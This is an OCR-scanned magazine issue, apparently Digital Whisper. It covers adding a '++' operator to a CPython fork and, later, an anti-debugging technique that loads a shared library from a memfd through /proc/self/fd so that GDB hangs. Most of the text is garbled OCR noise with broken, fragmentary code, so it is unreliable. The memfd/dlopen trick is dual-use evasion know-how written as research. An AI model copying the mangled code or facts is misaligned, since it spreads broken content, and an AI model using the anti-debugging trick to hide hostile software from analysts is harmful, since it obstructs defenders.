PCbuild/amd64 {1 « {1 1 sB®ild Solution _ * 1 Debweg/ReleaseWin32/x64/ARM/ARM64

o

®"+ _~¥s 1 lpythonexe * % « X
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https://github.com/python/cpython
https://github.com/elikaski/cpython/tree/plusplus
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Y L s s Bytecode
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RN e IR N

soxboxsod w4 X XX w1, Rythonx  IrEerpreted~ 4 ss_ ¥« ¢ x @ . S|
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Coobs o x bx x Q. hterpreter: ~ €0 X o 5% < x| X J. 1. Bytecode

o x b yZhe - 21 xbd % . Jdnterpretent ' . -~ 4L % 7 APython” 41/H1 4 7 4 X
®41 7457+« x> Bytecode ! X« Jaaser 1 « Swijtchcaser 1 4 xxs s  x s
21" 1 ABytecode x ! x <L, v oxs 13" 7 X < X PBythono _Interpretent

~

X vi-qJLXA: el X x € 47 P dd~ -|Z-|X><\X-|>k“.ixxv) T 1 X lis ] x

FT XL SHS S« KIS~ S xS . 1 1T 4% 15 4 o BANARY_OPht
DA ST w xS RS, x Xy sk HE ] X

. X % X, Bytdcodet © x | % «s 1% % xs.v{ disiS_ s 4 ~ CPythomt I _ 4x4".L ¢ o

Y sxydht x 145 x o, o'l xio qu]Pgthon! X 4w 1«

F® Python 3.11 (84-bit) — O 4

dis.dis("x

5 RESUME

®s " 1 i {7 1 _ 1LXOAD_NAME! x « s
@, X Xi$ {7 1 LEOAD_CONST x « (s

Dl TR RS xm s ] 48 v 4" 15 sL_BINARY_OP | x « s
D47 Sl wx s

® x * CRythomt _Interpreternt . Bytecoda ~ _ X~ ‘11X ¥ . <L
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https://docs.python.org/3/library/dis.html
https://devguide.python.org/internals/interpreter/
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CPythorit s 4 « L 1 J 4% &5

« 1 sB¥tecode: x | xRythamt * x * J x Jd x.. s 14 s 1EPythomt s 1 . L 1 X W

> v

YA L8] .,x

~

~

dlokensr Aoken. . « X 4 0 d Ssex i Jx 1St « A X< dn”
©x 4D s x 1. TR KB D (e I x L E 1Ys _ Y ¥ Waken

AbstractOASTL _s ~ {1s. 1 x5 _ Grammab~ X | {4 1  Aokent _ -~ _ + - &

Y X fesqcex Jv4x k[ x @ _Syntax Tree

term: name constant

sum: term | sump I R OAOI

P osxsphx | W x T sk % s T D b b 4 e osxérmx | x Ky x box

Fd o« Susxidurhe X 1ss ol X4 s o3 L ¥X¥spn | dsdm, +, terme .« % derm
DX AT e A X s X XU AToken, < - L
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CFGrr « @ S 7" JIs pax 1 4 sbgExqs

L «w 1 s ¥ x . IBgtecodet - x | x « 4 x I Qontrol Flow GraphCFG: 1 1 &~

~ <

CX OO X B R X | xw X | basic block - -~ Bytecode: x | x «

>

L S~ B3 1 4¥sid X+ 1 <bhsic blocks _s » 18 X l. yLs oox "X

~ ~ v v o< ~ ~

GUYNOP x | x

>

! % « xBytecodet - x | CEG@ { x Jumpt - x| x I 4 s X xIrdffset* x| 4Pl
@  xBytécodet - L * < 1L
b _ovi_. ¥ s, 5 1 {BYtecodd Xi<1 | PyCodeObjeot X 1 « 1 + %ssC 5 { | sfis

@Bytecodet 1 S «~ ~ 99 s E AP, ST 4L, T 8 S

Y417 ¥ H e Xs 083 « 0 44X & wsot psf  Lops

Compiler

\

Parser

File:

- parser.c (auto-generated from
python.gram and Python.asdl)

Tokenization
Files:

- lexer.c

- token.c (auto-generated from Tokens)

Interpreter

CFG Builder & Optimizer Assembler Interpreter
File: File: *Execution®
- flowgraph.c -assemble.c

Compiler
File:
- compile.c

®ythont » v 14 ¢ X shbd Xd 37X L §e &~ X X ¥ TG

~
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https://devguide.python.org/internals/compiler/
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Disclaimer
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P, LS. 4 TR x $ 8 v xoee o0 200U ] - DS 4w operator

X6 L o200 YW - x4 H . hxd LPythorit e A A1 D 4 XX T s |
L R T M R 5 B N

~ v oo~
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Diie e 4 ST e o e ST X XX LTS e S o ST T X
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B® Python 3.11 (64-bit) - O *
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+ 1+ Token: X s

« Xy sHokent L F oL 41X X BBbbBT ., X Aokent S, | X84 S XX X, s 0s
Y b Tokent ~ x % , x 4 x XEammar/Tokens

SEMI
PLUS
PLUSPLUS

MINUS
STAR
SLASH

@ "hecd  F & 4 18 7 83 X x o x GPythomf r 4 | X w4 48 ‘IS
Dot 4% o1 e T 4 e Sy 5T . SAWEndowsT X 4 %S L% 4 F R s

o

¥ | x & s
' build.bat  -- regen '

r Wokert - +s 1  Python! x:wi. * < tokenizes 1 ~ % 5 p HX T oo 0]

c L XIS EEBh ML s T 1 cOPython L X, S XX S X Faxdt .. "
BT LR xd s K eR A LA A TR ., XK

Yox T sy

>

EE C\Windows\System32\cmd.exe - python.exe -m tokenize - O ot

NAME
op

opP
MEWLINE

EE C\Windows\System32\cmd.exe - python.exe -m tokenize - O ot

NAME

op
NEWLINE
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https://docs.python.org/3/library/tokenize.html
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X
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| a=NAME °

CHECK_VERSION(exp

_PyAST_NamedE: (CHECK (expr_ty, _PyPegen_

» "Assignment expr ions are”,
_expr_context(p, a, Store)), b,

S s XD%dx 4> 14 *

EXTRA)) }

X T i NamedExpy X 1 s 1 K7 % o XNBAME = expressity) « o- Sk 4 v 8 S x ]

Y@ ] oox fusxelxs X 1. 7 K
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>
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<o
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BinOps% - _s * 41X s+« {mName: x {+sfiexptession + 41 | v ¥4 -+ 4 +« 4 ¥ XX
1Y X 40w x T K s L ¥ XA aCallly ki A e F X A s
s Gox X XASTE ¢ o1 X7 xDuxX T @ybore_ast.h X xS x |4 sexpressiont
g_sts{,,)vst\v\x
- o X

F® Co\Users\Eli\Desktop\CPython_fork\PChbuild\amdéd\python.exe

8], indent=

oy
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https://docs.python.org/3/whatsnew/3.8.html
https://docs.python.org/3/library/ast.html

I AST] « 4 4% %y s

oL ooy X1 X s T IXSTey o Aepression | T s 4 VXX X s 4o T

Fod OO TpTees D ppis DB T 4 o, 8 T sk { B d 4 f xiuxsl s

contextit s | _sL_ x FeX «+xr 1 X 5 _ X0Postincrementx Preincrement: L X

T4 s mi . 1 d 18 X ¥ Python.asdl, * X~ |ASTE 4 1 « 1 N@mey-x | s

YnaryExpk + » «XZ%x i « 4 4. xleg1® * x 4. OPython s {1 « 41, _ X
expr = BoolOp({boolop op, expr* values)
| MamedExpr(expr target, expr value)
| UnaryExpr(expr target, unaryexp op op)
| BinOp{expr left, operator op, expr right)
Yost_inetPre_inct 1xst4_1 41 » ; 1< sunaty&xp opf v+ ~ X2 opms ~ ! w¥ 1  x7
expr_context = Load | Store | Del
unaryexp op = Pre_inc | Post_inc
boolop = And | Or
@D oxxem b Tex Trsexx Db x Y XY ASTE 1 4 AN 4 kg {0
I % . A 1 < Checklisk " CPython 4 _ _ L ® 4% 4« WX | Shs” 37
®  Ssx ey Hdx T4
x4, 1T8bl I rY XXZbb, 37 0 ¢ 14 1+ foken, « » 1 « ‘udaryexps X-1%x « {7
Y 1+o0pr 1 _+» UnaryExpd « 1 %X o Isel . | _
unaryexp[expr_ty]:
| "++" a=NAME { _PyA aryExpr(_PyPegen_set_expr_context(p, a, Store), Pre_inc, EXTRA) }
| a=MAME "++' { _PyAST_UnaryExpr(_PyPegen_set_expr_conte p, a, Store), Post_inc, EXTRA) }
T BRI BN DN IR LN el NI I IS Bl I VI B N S BN I N I i
x "og g Xisx P XA 4 wx 0] s ) SKE§x s {0 ss o™ Pgthon
D4 F XXy X L Se] A% ARY o X X e d X
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Fd R e ok wratome X X1 e 0 S xsT 0 s@ CXx 4 5, XX x5 |
Y { " 10X X«

: NULL,

| a=primary ‘[° 1" { _PyAST_: cript(a, b, Load, EXTRA) }
| unaryexp
| atom

d. T4l siuxi b BB, XX UL s X q,q]x

g 4« JASE - ¥ 4 Pythonx ¢ 4 X34 x| Tsx Tsax 7 x sxs € $ 4| s ifs, T~

¥ 132 x X%

[ Ch\Users\Eli\Desktop\CPython_fork\PChuildiamd64\ python.exe - O x

®C sl Tia 4% s s " %, |Bytecode X | Xy, F 4L

Bytecode: x ! x « JASTE 1 « 1 AL*x+ .01 ,%¥s

>~

S C AL, PXIXY_ XX XA L UnbryExprR T« 4 £ s ki d L 7S o4 Ms L]

~ ~ ~

FdLr, 5K

>

S 4o« Ad s cdmpilecs X AST1 « 1 401¥ 4 L | Bwtecode: x I x «
estpressiomt ¥ x4, rLd ~ S X1 X 1 e@mpiler_visit_exprk 1 expressior¥ x 1 1« 44X x

¥4 7 {Frs L

compiler visit_exprif( compiler *

*, e->v.NamedExpr.value);
c, loc, o dL)8
c, expr, e->v.NamedExpr.target);

q:

compiler boolop(c, e);
ind:
, expr, e->v.BinOp.left);
c, expr, e->v.BinOp.right);

¢, loc, e->v.BinOp.op);
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compiler visit_unary_expr(struct compiler *c

n loc = L

compiler visit expri(struct compiler *c,

¥ d w41 BB 1, XX s d  CPRython ~+ 1 L | _~~1 1L

F® Ci\Users\Eli\Desktop\CPython_fork\PChuild\amd&d\python.exe

Error: Invalid CFG, stack underflow

L s 4 . « "flewgraph.c_ * x eaftulate_stackdeptty 1 « « " 4 ¥ § s 4y xs {7

17 AT 0, XY ox oo o oo xxe o Bytecodet - x| ¢« .~ * basic block

. S X % § % s{* pdkic block * *x 11 4« . "
Y 14 %1 45%4 . 1 1. . xBytdcode

F® C\Users\Eli\Desktop\CPython_fork\PCbuild\amd&d\python.exe

dis.dis(

S v v XS« { VAST T« 4 L XSX4. L 1. . xBytécodet : X | X .S X s .,

L_S4 11, xBylecodat _x " . bW @ P X (5% oxxqsq | iJ4" ] s

>

CE T 0SS xS we o evpd L X I INOPE | X {UndryExprl < 4 4 X x v s

144 ] bagicsblocR ~ « =L 4~ 17 | 15_+s{_RETURN_VALE
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visit_unary_expr{struct cc
C{e);

boe STT Sl 4SX MOJOKT aSTEX X STy x Ly X s

~ a ~ ~ o~ ~ v A~

® s Xy XX " o Isos €

[ ChUsers\Elt Desktoph CPython_fork\PCbhuild\amded\python.exe — a *

Lot st . 1 d ) UbaryExpe X %, Bytecode X ! X w441 ¥ s X ¢ §y s
Yvalrus- X 1 .~ X « f xX% Ixx"l x; (s

F® C\Users\Eli\Desktoph CPython_fork\PChuild\amded\python,exe O x

> import
» dis.d

STORE_NAME
RETURN_VALUE

¢

xCOPY* - x4 L IB=Hr T~ 1 _Ulvalugt . _expressiom evaluationr 1 %+ -

>

~AX @] INamhey x .« x s 3T L -~ _ _Qtargetit . _expressiom r 4 ~ <X X S

I'x Sse "1 !l %X Xx" s ., [ORE I T ~8, CUAS © v, 4+ s x I x

~ v o~ v a ~ >

Yvalrust {1 17 x x  » S

T(c, expr, e->v_NamedExpr.value);
P_I({c, loc, COPY, 1};
c, expr, e->v.NamedExpr.target);

S T X o OMSIT . v T8 4 4 | disassemblr X 7 0 X DAY xsie 7
caset r 1 , "NANEL ~» | ¥y« x | Ixs], > ] Gtdrgetrt s | . x * c@mpiler_visit_exprl

Wame_kindl « 4 47 &« o

return compiler nameop(c, loc, e-»v.Name.id, e->v.Name.ctx);
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x ws¥ o s 4" 1] .55 « {1 . Bytecode: ! x « , .compiler_nameops 1 . « " X s

~ - v >

WX LGSR TR 4 XconteXtg S ! ke 2 oS Xl ST STy sl ] x|

~ o~ A >

1ot ve X w4 X717 Storex ] -~ contexts | NAMEBE 1 « 1 X x ¥ x4

A ~

S‘I‘“"\.X”)“E-HL\\/ISITX”“\."?: "”L_JL'qu S)e('ILX\-X:J-LYSH: S

® " |, Xp L TONtextr - X .~ dompiler_nameop

14 s X e ] ol sex 7o

~ ~

visit_unary_expr({
ation loc =
(e-»kind
_ty target
(target->kind == HNam
(e-»v.UnaryExpr.op)
> Pre_inc:
compiler nameop
c, loc, PylLong FromLong(l
¢, loc, Add);
c, loc, , 1);

compiler_nameop(c, loc, target->v.Name.id, S

break;

compiler_nameop(c, loc, target->v.Name.id, Load);
c, loc, s 1};
c, loc, PylLong_FromLong(1});
¢, loc, Add);
compiler_nameop(c, loc, target-»v.Name.id, 5

Dl e DX 4% SR xiag 4L LX X4l o 4% X1" TPER_NCL _S ~ ~ _ %

Y $ x , oxx”l x 4@ €S X! & 4., {s¢”"]: »w® ,.¢ ] X%

a

dA s s A

dA M, s T

dx L

®x lx

@7 s e S IX TS s 440 10k 4]

Fod o X XX e 4 s S o ds Ssep 40l x 3 TPbst ina S .~ X

P " 1 s L, X XS
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EEET echnoloqgic

Y $x ., 0xx?l xsd s | § | xL.s «sx SLZ ] x ] ., ssxss, € ] s

ORI T T B B |

v ~ ~

NN Vv
v v

s x |
>

x4 o x gl sy

~ v ~

XF |1 1.5x 1. RBleasé - . ~OPYthor ~+ 4 1 . _ <@ _ B+ 5% x« ]
: ¢ % .4 kx  OBbug -~ . ~OPYthor «+ 1 o 4. ]
To 3% e 47 X U LS XX 7 s, x 1S X 1. XN

i

r
~ >~

@S LdyY Ll EelAx s

Debug: ~ |~y x>0 1 X o T XX

¥ oooXsse ¥ gs{ L 4E. X 1. _XiXs{ Debug - , ~OPYthon ~+ 11 . _ ~ _ _

F® C:\Users\Eli\Desktop\ CPython_fork\PCbuild\amd&d\ python_d.exe — O x

DXl s e Ixd x| oL Tadhg, > x wilidate exprs 4 < K U H P S X e T ]
F1 o IxsB* _11x 1 Nameé&dExpressioh~ 4 + % X« s X ¢ S, ]« XASFE 1«4 1% x«
L g2 X1 x xPlUueh (X« ¥ 3 sy _ s ¢ 1« | KBAd: X Store- * %L _contextit _
AT D TG X0 T ASS] L R L X T oo sl S s G %X

@ A%, 4]

~
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x {Xsq{Lftargets | 1S e oS L XY R L X IR oL kT LI X s s X

|
sk TG, sl G Ixsk L 1y §Storer _contextr | XUt L v
X"l s 44X x

validate_expr(state, exp->v.BinOp.left, L
validate expr(state, exp->v.BinOp.right,

[
~
rtion failed: scope
Microsoft Visual C++ Runtime Library
W
e Cebug Errar!
Program:
ChllsersiElinDesktop\CRython_fork\PCbuildtamdedpython_d.
exe
abort() has been called
[Press Retry to debug the application)
Retry lgnore
1 gAYt ke ~XxsXgcopgt ® 7 ¢ . S 0S4l XX assertt L ¥ X x4 ] x s
ASTE 1 « 1 § %X+ _4<"_s3 _ _sgmboltablef+ « +’ixs ” 1 _ “s{ sl |{¥ s
L o«x 4 ¥ 1symbolxabler 1 ~ X *AST . 4" x , ¥, X Bytecode: x| x « L
ABTE+ s F A [ s

s 4.1 % _ Symtablec, X XS XS § 7 X LdssEPS X ¢ X ] LB K X L iq”

symtable_visit_expt 1 « « " « . X PySymtable_ Build
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symbol tablet 4 x 4 7 4 S d A ex T8 X éxpressiony X a4l ¥Yxx8 { 7" x

X &4 oo xg X4 42 14 tabgetrgs | XX xx " g, x

symtable_visit_expr(struct

I
L

»v.UnaryExpr.target);

®@ebug -+ . ~OPython ~+ 40, _ w ¥ I Nosx 4, X1 X31s{@ x o f L

astunparset s | {1 : ;  xs

> v

x €4, adlparses 1 « « 7 x I {Python' *xi.«_ASTt © «¥ { .ss  Xadts{ 4~ x84« .
cd O LT L F ¥ sxxp { CASTR T 0 " Python! xse. €0 F esw L x|

KOS L T sx ], s 4D X8 sgK X ]

B® python 3.11 (64-bit) - O e

body[@], indent

astpy, * X X1 % @ 118 "o 8" 45 $ 13 JRythormt X x L Fs] 9 xx.t ¢
s Lh X 4 .p3."x] Pythomt © « . sb@ilting: x " * x {5 | xJ$ 4 <UDS < 4T _
T st s o4 b, XRyhon: o~k 17 4« P@thordt : x X x I ]

®s Lk X« 4 X8t Al imports S X T sy

~ ~
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¥ X i.s 4 Xiusy x§x_XIPrslIgs,

def visit_MamedExpr(self, node):
with self.require parens(
self.set precedence(
self.traverse(node.target)
self . write(" := ")
self.traverse(node.value)

def visit_UnaryExpr(self, node):
with self.require_parens(_Pre
self.set_precedence( P

op = node.op.__class__. name__

if op == "Pre_ 3
self.write(” ++7)

edence.UNARY_EXPR, node}:
ce.ATOM, node.target)

self.traverse(node.target)

self.write(” ")

self.traverse(node.target)

self . write("++ ")

Ybi 1. ¥«4s]ASTL astunpars& . _ - _ S i{X<s  xF .y

F® C\Users\Eli\ Desktop!\ CPython_fork\ PChuild\amd&d\ python.exe

-l

¢ KK T8 fatory x 4 x is{ X Js _

AN

X

w X, TXx s, kK ¥S X . sy X

>

YA R e Fx 4408 L X

B® C:\Users\Eli\Desktop\CPythen_forkiPChuildiamd6d\python.exe
1@

Practical Python Internals

++

Ty

www.DigitalWhisper.co.il

HAamH ~ 1597 x {4 L Y



b 1 Js,,xl L sx X X

s . _BRINARY_OP (1) _Bytecode: ! X «, x¢1 ., ‘XS X » WX yP2l,  x7 X

L T S N bx 1., I x¥fper v 120w _wd~ XWX x1, X«

v o wva ~

Yloaty x s ” © . x L

~

O
x

F" C\Users\ElnDeskto phCPython_fork\PChuild\amded\python.exe —
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X

1f, n)
on{self.name,

Person{"E1i", 29)

Y X DX 4% {4 % 1. Ixx $g {1 Tokemt X " . by ssx | (F%XXR|f

> >

syntax v 4 Yoo XE S X T XX 4 4 AP X <X s L 4 o NBme

@rror

Fo P R

Y @ L X A K Sy kox o ox gy X, D o¥ s ] 5 {7

Pl x mdmit |

Gghiftleftd 1s ¢ « 1 fess

Ghift rightt!t 18 " #_ HBH I

1 » bitwise xort™

1« bitwise andr&& I

7~ bitwiseorrt|| 1

1R RT

T wsxoxm/il 9

] «s*0 X D Hs. =r 9
x s i Xd A 4rH A L PR e A A A T X e, Xy S
X WM X *w S _mod_x -« Zfloordiv__ Imul_m : x « 4% X S| type., x X 8 4 _

dXx 4 0 xI x X

N e N
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Y oA 4L X SR, w0 kSl A XTI X xis,, Xt k]
® ! 1Tokemt: . . xdm
®x W X¥x @
¢  xopenum: | &
¢ , xopre -~ x X , . Bytedodet - x | ¥ . { Td¥

® x * CRythom 1 v forkrt = <415 » 1€ $. x 1w | ¥+ sxq X 4

[ Ch\Users\Eli\Desktop\ CPython_fork PChuild\amd&d\python.exe - O x

Ys4x L X7 x$ 4@ 7K d Lk x 29 Pythomr bbb 1 X "X « {x s]_

Tt refurnh géldytyt hbeakh tryagpirh™ dontinueb o Y w3l "vxAlokent ok 4 Lid, L 1S
@118 % 8P X fisx fss x4 x XDiFslgngalt Whileb gi¥eback

Mo”4 g, 0 X Es fsx ] 4k Tx 4,

X =a??b: c

, . ¥s _cantrol flowrs v ~ = x4 4 r_ A4 F X ASHA XA 4 X T x4, X

~

vLosx Xy ¥ x 3 y ¥ ds. 4 b« sditch-casex ~dBwhile t « L XX LK .

~ ~ ~

@S iV b S, 1445 s

X1 A

ST ASTE D 4 7 %S 15 o X1 S FTOKENT » X« | 8w X L 4X " IS G o X
X " 4sdr 41« 44K wL 1] K x5% Bytetodet ¢ X | % WEH {1 44X xS
LX X WS {pod, {xx ”X'i”,.*'-*L,. RO agx ”-|ylsv<.‘ LXx xs X s 'I'l"I;”X v €

®" TR LT T, X "XT X { . f b s

~ o~
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L xo sy ox by de o o XX "X Bytecode: X P o Y L 8 Sy X T 4o
C4 X SEe xs D47 1x sid CPythomt L . i X1 x | xfqpasl e % s . X
TP . d N KR CPythomt - cr 4 1 <« dd XX xIs " x XH s | Bytecode: ! X «

FBtay tunedr & * + v 1Xxs _ CBython _ X _ 4 4 ¥ XU s X
~ %1 L s

Reverse Engineering X 1 » XIYTIXACTEL » ¥ 2 X 0 XXX 4 8 XHIP *4% At + 7

N R B2k LA TR o AR I S [N RPN

®@inkedInt x elikaski9d@amail.coth~ _ 4 = 4 X + 40 ~Cx 1>Xx 4"
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17 sXx {4 s s s 6 L {1 LGDBH T I (Y~

~

R AR TSR T

s 4y xdsusx g f XUl Bt g XGDB XxXIT I k. d AT 4" . -

® . xS X ¥l s T A A T ¥R s D os X L Tose e d xs

X L x)Unﬁ(stlv\v.|xJ><xv s s X

. x Qlopens 1 « « "GDBESymbolss © " 47 1x4ei¥" { 47 (Sls . 4% < ¥ . Xise

x X f % L % * Apti-Debugging 1 4 _ L~ "Yie XTs< (@R inferior)y X I« x s 4 14 L s

Fod Yo oooxx T L Hsee e Xsp x4 ] 7Xs{O B X o x x| L oxsXox X

@, isls. o sLx J.d00  x L. 011y

> ~ Al ~

X v .8 . 7®» .9 4% ¥SX 80

Mo~ L X osX x Is] Y L s, sxT(@., g K% SX XX i X x !

t mfd = memfd: :MemfdOptions: :default()
.allow_sealing(true)

.create("mapped-so").unwrap();

t buff = std::fs::read("/usr/1ib64/1d-1inux 4.50.2").unwrap();

mfd.as_file().write(buff.as_slice()).unwrap();

a

T hxxde 4 T EY X

Lo X & X

memfd_create

-GDB
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Ynamg s 7 sxX L x DTS " mfd/memory mapped file & . 4 | .

MEMFD_CREATE(2) Linux Programmer's Manual MEMFD_CREATE(2)

NAME
memfd_create - create an anonymous file

SYNOPSIS

#define _GNU_SOURCE /* See feature_test_macros(7) x/
#include <sys/mman.h>

int memfd_create(const char xname, unsigned int flags);

DESCRIPTION

memfd_create() creates an anonymous file and returns a file descriptor that refers to it.
The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and
SO on. However, unlike a regular file, it lives in RAM and has a volatile backing storage.
Once all references to the file are dropped, it is automatically released. Anonymous memor
is used for all backing pages of the file. Therefore, files created by memfd_create() have
the same semantics as other anonymous memory allocations such as those allocated using|
mmap(2) with the MAP_ANONYMOUS flag.

XS HE T L AT T S RAMY 4 T xfdrfir 4 XS R0 r S | X

f /mm/shmem.c

 [/fs/hugetlbfs/inode.c

diopert _ _ ¢ _ 91 U3, dnemory mapped fila .sart 4 7 X L4 X X X W@t TSl 1o
Bprodyt . ¢ 4 _wsom, ~ X 41217

X |1 ¢

r”

D179 Ay sEmectEr _ F 4« X ko b LS X X s b XX X € &procé

-~

G procEm s 1 L~ s “pdocfdr mounts | Ximtor L il

Pl UNEsel X T L 4 v oI Do s T] 4 1Es T s L X Lise | procfs

N S P BN B
Is-all /proc/[PID]/fd

son X0 OXX Xy pid L Pode cvenx e s, 5 @71 XX v xes & {0 mxXXx

dproc/selic: | x Pi{xe s p oL X
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x o «x {dlopervt _ _ ¢ _ sl fdHEs [ xx 7 st X "4 ] UsH X
/proc/self/fd/[fd of memory mapped .so0]

memfd;
dlopen_derive::{ , WrapperApi};
dlopen: :wrapper::{Container,WrapperApi};
#[derive(WrapperApi)]
Api{
free: " (pointer: *

load_so(mfd: memfd::Memfd){
fd = mfd.as_file().as_fd().as_raw_fd();
fm = format!("/pr 1f/fd/{}", fd);

cont: Container<Api> = {
Container::load(&Ffm) }.expect("Could not
println!("dlopened ", fm);

Y L,  dopers 1 . < X <SE L
/proc/self/fd/[fd_num]

s «X,"@dft 1 x  dlopen: - _ sl idm filestructurgrg x - ¥ «s L = .

o . .
XX os v pr4ad. x "

@AsafFisher -»/workspaces/dlopen-test (master X) $ cargo run
Finished dev [unoptimized + debuginfo] target(s) in ©.72s
Running ~target/debug/dlopen-test”

dlopened /proc/self/fd/3

s€s T 4" #4183 17 % L thembry mapped file «x " x 11 H. 9 .

( X) $ timeout -s SIGKILL 10s gdb -ex=r ../dlopen-test/target/debug/dlopen-test
GNU gdb (Ubuntu 9.2-0ubuntul~20.04.1) 9.2

Copyright (C) 2020 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from ../dlopen-test/target/debug/dlopen-test...

warning: Missing auto-load script at offset © in section .debug_gdb_scripts

of file /workspaces/dlopen-test/target/debug/dlopen-test.

Use "info auto-load python-scripts [REGEXP]' to list them.

Starting program: /workspaces/dlopen-test/target/debug/dlopen-test
[Thread debugging using libthread_db enabled]

Using host libthread_db library "/1lib/x86_64-1inux-gnu/libthread_db.so.1
Killed

@AsafFisher =»/workspaces/binutils-gdb ( X) $ echo $?

137

dAsafFisher =»/workspaces/binutils-gdb ( X $ l

-GDB
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@AsafFisher

GNU gdb (Ubuntu 9.2- 0ubuntu1~20 04.1) 9.2
Copyright (C) 2020 Free Software Foundation,

O citl-d, ctrl-z, ctrkc - X

(m

X) $ gdb -ex=r .

Inc.

A } >*\\5ﬂ<% . Xzﬁ L

./dlopen-test/target/debug/dlopen-test

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying” and
This GDB was configured as
Type "show configuration”

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...

Reading symbols from .
warning: Missing auto-load script at offset @ in section
of file /workspaces/dlopen-test/target/debug/dlopen-test.
Use “info auto-load python-scripts [REGEXP]'
Starting program: /workspaces/dlopen-test/target/debug/dlopen-test

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/1ib/x86_64-1linux-gnu/libthread_db.so.1".

/\\/\Z
5 2% |

dAsafFisher =»

@ S codespa+ 16170 32649 2] 80

@ t codespa+ 16172 16170 © 80 -

@ S codespa+ 18430 4188 © 80 -

dAsafFisher =

"show warranty"” for details.
"x86_64-1inux-gnu”.
for configuration details.

./dlopen-test/target/debug/dlopen-test...

.debug_gdb_scripts

to list them.

( X) $ ps -elf | grep dlopen-test

- 17413 pipe_w 17:04 pts/6

889 ptrace 17:04 pts/6
1609 pipe_w 17:07 pts/@

( % sl

00:00:00 gdb -ex=r ../
00:00:00 /workspaces/

@ . VXY‘ILY“S'ILV

00:00:00 grep --color=auto

L 4 Iy

X x

/target/debug/
/target/debug/

GDB

GDB

x|

JUx X

Yndan pst 0% Xty

y . s

1S T x s {7484 78

‘ T stopped, either by a job control signal or because it is being traced.

X 8w, M "M s |

kpipery ¢

$ strace gdb -ex=r .
rt 51gact10n(SIGTTOU

stat (",

openat(AT FDCWD,

fstat (15,
fentl(15,
fstat(15,
fstat (15,
fstat(15,
fstat (15,

read(15,

{st_mode=

F_GETFL)

{st_mode=
{st_mode=

{st_mode=

{st_mode

ACACA[[AA

X \ptrace.
x o7 it:;l:)E;I S~

{st_mode=S_IFREG|0444,
, O_RDONLY|O_CLOEXEC) =

elf/+

S_IFIFO|esee,

S_IFIFO|@6ee,
S_IFIFO|e6ee,
S_IFIFO|e6ee,
=S_IFIFO|ee6ee,
<unfinished

st_size=0,

, Kox A

st_size=0,

) =

_flowrt s 1 1L

, X %S

Lol

./dlopen-test/target/debug/dlopen-test
{sa_handler=SIG_DFL,

b AXO X

A~

1@eodd LS

16,855
s, s .

Ytracat s © s -

= @x80@0 (flags O RDONLY|O_LARGEFILE)

st_size=0,
st _size=0,
st_size=0,
st_size=0,

.>)

-1
-1
-1

1)

e

sa_mask=[TTOU], sa_flags=SA_RESTORER|SA_RESTART,
3 =
1) =

sa_resto

X
n oy

w

r”

=

pp
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GDBy { 1 o Yintferiore 4 4 L § X %S ] K X xXfsk S X IR [ X4 {7 {F, s s

Kl: " L$.s*41" GDB, s _ ¢!

i Ix]: 30 6DB_ X xdlopens _ x 4”7 1% : g Jdlopen. heok) GDBr_ -~ * -

L <d 4o sdopen: « » o~ "« Tl 40 A% 04 SN 0 TR 1L F oS X oL
d  « GDBts .~ {:.x «

Hhferiorrt 4 1 o s °_ sdkproc/self/fday <o X -~ S« L "GDB -

sipéd. 1 GDB | dewoc/self/fdds 3. O fdr 7 x .Sl 16 1% % JGDBr

dlopen
a memory
mapped
file at
/proc/self/fd/4

loads symbols Iproc/self/fd/4 |
from f is a pipe |
Iproc/self/fd/4

i SO I SR g ¢

X TR s, v IGDBY kv 2 X YS . XS

A v

x 7 4 P IH x x sfile/piper |- *x ~GDB/GDBServar * »pY¥4iXx" 145 « % Sxx x x
FX LY s X xQuxXo ssl o x <« GDBServer ¢ _ -~ Xpiperm - 1 SX_ 0 s~ 4.

~

O x ¢ 8K, Xy
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L 1 Jsolibsvrd.c, * x sl & v hx s X Xxs X x {7 xwmaL S oAl

-1

1.

v v o w - o~ >

Ynferiorrt 4 1 L s ‘gBGD  xI1x < s

static int
svr‘4_r‘ead_so_1ist| (svr4_info *info, CORE_ADDR 1lm, CORE_ADDR prev_1m,
struct so_list ***1link_ptr_ptr, int ignore_first)

®L s GDByr 8sOHE: _ 1 seitiL 1. LXHSTSI MO B R K. XYL XS

21 4Ly _GDB " xilsi 1%L X . S i GDBr 1419480 8L
Yo's -~ x ¥ 4 L AesuTZisdt 40 K4 T e 44 X

>

set autosolib-add off
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